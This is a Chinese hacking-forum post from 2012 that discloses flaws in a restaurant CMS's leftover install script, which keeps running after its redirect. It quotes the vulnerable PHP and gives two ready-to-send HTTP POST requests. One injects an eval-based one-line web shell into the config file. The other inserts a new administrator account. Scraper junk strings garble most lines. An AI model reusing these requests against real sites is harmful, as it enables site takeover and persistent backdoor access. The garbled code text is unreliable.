找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。) L# W# }5 _" I6 _( V% S  ~8 y
% [' K8 \- @- w& T
<?php3 J+ k8 n4 H) I; M- R
if(file_exists("../install.lock"))1 s4 R) V# n' |
{9 T4 ~) B" d1 I# C2 e/ Z* Y
    header("Location: ../");//没有退出
7 q. _# n0 `6 j  I: w}5 r/ u" N& L) Q3 m5 u0 F
               
. |$ ^9 B# N8 G6 }//echo 'tst';exit;
: T5 C2 c0 n0 }3 c3 Wrequire_once("init.php");
% A" u$ J. I# o% Z! r% S/ qif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
1 P" ^% ]) w* A+ O{
, Q3 O  u% C# Y  c6 E可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
! ?) n, P# D6 x6 L! z) ?9 N9 d1 W; z
1、getshell(很危险)
5 Z0 m  R, m$ N- f$ o  x6 ]if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ a4 d8 X5 l" ^3 V& Q3 L2 `: a! `{
; c4 I9 W5 s' A/ w3 w7 t, Y$smarty->assign("step",1);- n* G" e9 H% k. F. f) E. t4 ]
$smarty->display("index.html");
7 d( E$ {/ q* T; w9 L6 y}elseif($_REQUEST['step']==2)
2 E/ j. T: D3 b* g  @4 S' Y8 w* Y0 f{
% M2 `1 s6 T/ x0 N    $mysql_host=trim($_POST['mysql_host']);5 t* E) Q" N; j9 Q. C
    $mysql_user=trim($_POST['mysql_user']);
3 F# [  n9 J4 B: F0 L: X7 U! t8 h    $mysql_pwd=trim($_POST['mysql_pwd']);/ L  D+ `( I' _( Y7 y6 \
    $mysql_db=trim($_POST['mysql_db']);
; p- H& ~  A: g( f$ e/ U9 ^) i7 `    $tblpre=trim($_POST['tblpre']);
  m; l$ a( l5 o    $domain==trim($_POST['domain']);8 K$ Z2 O! K' p* L. C9 F
    $str="<?php \r\n";
/ `: C4 v4 p8 Z9 x- U4 }6 j5 m    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";$ n7 i" c% r% l0 z
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";, [' b: k6 G. e: F6 m* o
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
! k2 r3 ~) G4 x+ A- R$ ^    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
, X/ j9 p& l$ m- X& f    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
# g- r1 l" X# Y2 r/ ~    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
6 H" J0 K! D$ o9 G/ X7 r    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
" D. a/ U+ U. P/ C* c% T    $str.='define("SKINS","default");'."\r\n";
5 a. D2 t  g- _6 A5 a7 q8 g    $str.='?>';
+ z9 @7 }$ }3 L( @" G  O6 H    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
+ \, S. d! L4 f3 h0 j3 O- \上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
4 n5 l' e  W. }. N0 CPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
" ]0 b' s& j# @& S8 ]: ZHost: 192.168.80.129
& y# I6 S5 X& d. U% x0 E/ e1 Q8 ?' a: g5 FUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0& `) ^; @1 F- H( q, {; P- A/ y
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' ~+ m9 b+ I6 i4 [4 B" Y- PAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 I9 H- ]' W+ _* w1 a4 a2 o2 L* RAccept-Encoding: gzip, deflate' x- e, r9 k3 V( B' I7 ?
Referer: http://192.168.80.129/canting/install/index.php?step=1
; b8 }$ t( M+ T$ i5 Z. K2 BCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42  O5 S6 v; L5 K& U* M! e/ f/ u
Content-Type: application/x-www-form-urlencoded! |+ S1 C7 S' F* J( r' c
Content-Length: 1261 f$ W$ s* M7 J) C
         
: Y% P" M* G8 _+ R( Umysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
2 E( p+ ]* o& W0 R但是这个方法很危险,将导致网站无法运行。
" r3 |8 L) m% U* R" g
' L' Y' Q( t1 E2、直接添加管理员
2 C0 [' K! \: w( d3 W; x  ?
- s! P8 m* v. @3 B! {& Oelseif($_REQUEST['step']==5)
& ?* B4 M0 l# ?- m! s{
' j/ m4 {  o# ^, j% ?$ g2 x+ O4 q, v    if($_POST)# j3 |. d8 d  V4 D& ^- O/ r. c8 g% f
    {   require_once("../config/config.inc.php");
. G# u( f3 {, ^8 A4 J' a& w8 S        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
1 h! A1 @2 I' _& C% P! y        mysql_select_db(MYSQL_DB,$link);
5 q, i- O' D! p# _+ X. z        mysql_query("SET NAMES ".MYSQL_CHARSET );
( F& n9 Y) @* y4 f3 V! Z* Z         mysql_query("SET sql_mode=''");
3 G, f. r8 _. W- l5 B# A! M9 Z( {. S5 T! J: O8 H* j! D4 v' C
$adminname=trim($_POST['adminname']);" E7 k( h4 i- A8 d( |2 `7 b1 q$ z
        $pwd1=trim($_POST['pwd1']);$ U9 d" e, e0 b$ t: j7 Z$ _) N
        $pwd2=trim($_POST['pwd2']);
* ]9 e7 `+ y. _- U        if(empty($adminname))# f6 [$ k! F# S: ?# @
        {- G: B0 e5 m9 [% z/ J/ `

) B5 q  M$ r7 G: f# E echo "<script>alert('管理员不能为空');history.go(-1);</script>";
! @' r9 T$ ?9 W$ i            exit();/ @9 h* T, ~% M, u! e
        }2 h" u0 b; k8 ?$ j6 r7 c
        if(($pwd1!=$pwd2) or empty($pwd1))1 _3 A% U9 s9 G0 N4 U
        {
1 w: Y% v2 Z' t* q( R) C            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出9 m; D/ k8 d+ v, ?2 a9 L
        }; |) N1 E1 `; y0 J
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
& i+ f) J4 d+ O' |% {    }
9 w! G+ d& J; U8 m: b1 m这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:/ j2 `9 @0 Z" h8 x' U% a& c
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
' b/ R6 Z3 c4 W% N& R. RHost: 192.168.80.129
2 \8 k7 @( |2 M& y; n4 F$ `User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
2 e8 x3 E# r* T6 X) i5 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, H2 p$ I+ X$ s( r
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
4 }& a6 P- a& ^* X  r8 c5 oAccept-Encoding: gzip, deflate2 e1 t9 U8 `9 ]" Q
Referer: http://www.2cto.com /canting/install/index.php?step=1. v* h, u0 ~, h; @4 Y4 L
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
- C  S, i. w0 }. q; M, ?! s* T" A& CContent-Type: application/x-www-form-urlencoded, ]) Y  |( c) j1 {# `' e4 V
Content-Length: 46' m3 Z% x' p! n8 C
      * f/ [+ Q0 A4 n* b8 k; B
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
  w  I) B! ?& Y* s& R! F; t4 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表